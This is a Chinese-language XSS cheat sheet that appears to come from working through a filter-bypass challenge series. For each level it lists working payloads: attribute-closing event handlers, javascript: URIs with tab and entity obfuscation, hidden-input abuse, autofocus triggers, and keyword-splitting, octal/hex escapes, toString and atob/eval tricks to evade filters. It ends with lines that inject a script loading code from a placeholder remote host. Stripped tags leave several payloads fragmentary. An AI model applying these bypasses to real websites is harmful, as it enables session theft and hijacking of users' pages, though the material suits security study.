xss常见方式


1.
2.源码第一个,[<]被转义,因此在第二个里
">"
3.源码对第一个,第二个对[<]做了转义,是单引
'  '>' onfocus='alert(1)'' onfocus='alert(1)'>
4."  ">" onfocus="alert(1)""  onfocus="alert(1)">
5.双引号,对on进行过滤
">"
6.对script进行过滤
"  ">">"javascript:alert(1)">点击我"" ">"javascript:alert(1)">点击我class=" ">
7.对href进行了过滤
"  ">">""">class="">
8.对script进行过滤
"  ">">alert(1)""">alert(1)class="">
9.对script进行了过滤,使用伪事件(用tab进行反过滤)
"  ">javascript:alert(1)"javascript:alert(1)">
10.发现只有使用http://,且他们为完整的就行,伪事件(将r转化为10进制)
"  ">javasc&#114;ipt:alert('http://')"javascript:alert('http://')">
11.有三个input标签被隐藏
"t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text"t_sort"  value="333" onclick=alert(1)type="text " type="hidden">
      最简单常用的poc
    "> 重定向到指定的url地址
     
    onmouseover=alert(document.domain)    闭合属性,构造on事件
    onmousemove=alert(1)

    1) autofocus>

    利用input的autofocus属性,无需用户交互即可触发xss.
    htmlspecialchars:输入常用符号,看哪些符号没被实体编码。
    如输入在herf或src里面:javascript:alert(1)
    js输出,输入的数据由js变量接收,通过闭合即可
反射性

'' onclick=alert('xss')>type
1 onerror=alert(1)>

alert(1)
遗漏标签
'al'%2B'ert'](1) >
'al'%2B'ert'](1) >
'al'%2B'ert'](1) >
'al'%2B'ert'](1) >
'al'%2B'ert'](1) >
'al'%2B'ert'](1) > JS8编码:
'al\145rt'](1) >
'\141\154\145\162\164'](1) > JS16编码:
'al\x65rt'](1) > 其他
1) > toString()
8680439..toString(30)](1); >
11189117..toString(32)](1); > 1 alt=al lang=ert onerror=top[alt%2blang](0)>
'al',b='ev',b%2ba]('alert(1)')> 将alert(1)编码,因为有eval存在
'al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
'al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
'al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')> eval函数的补充 'al'%2b'ert(1)')> 拆分与编码 'script')).src='http://xx.xx/eeW')> 'sc\162ipt')).src='http://xx.xx/eeW')> 'scr'%2b'ipt')).src='http://xx.xx/eeW')> 'scr'%2b'ipt')).src='http://xx.xx/eeW')> 结合函数: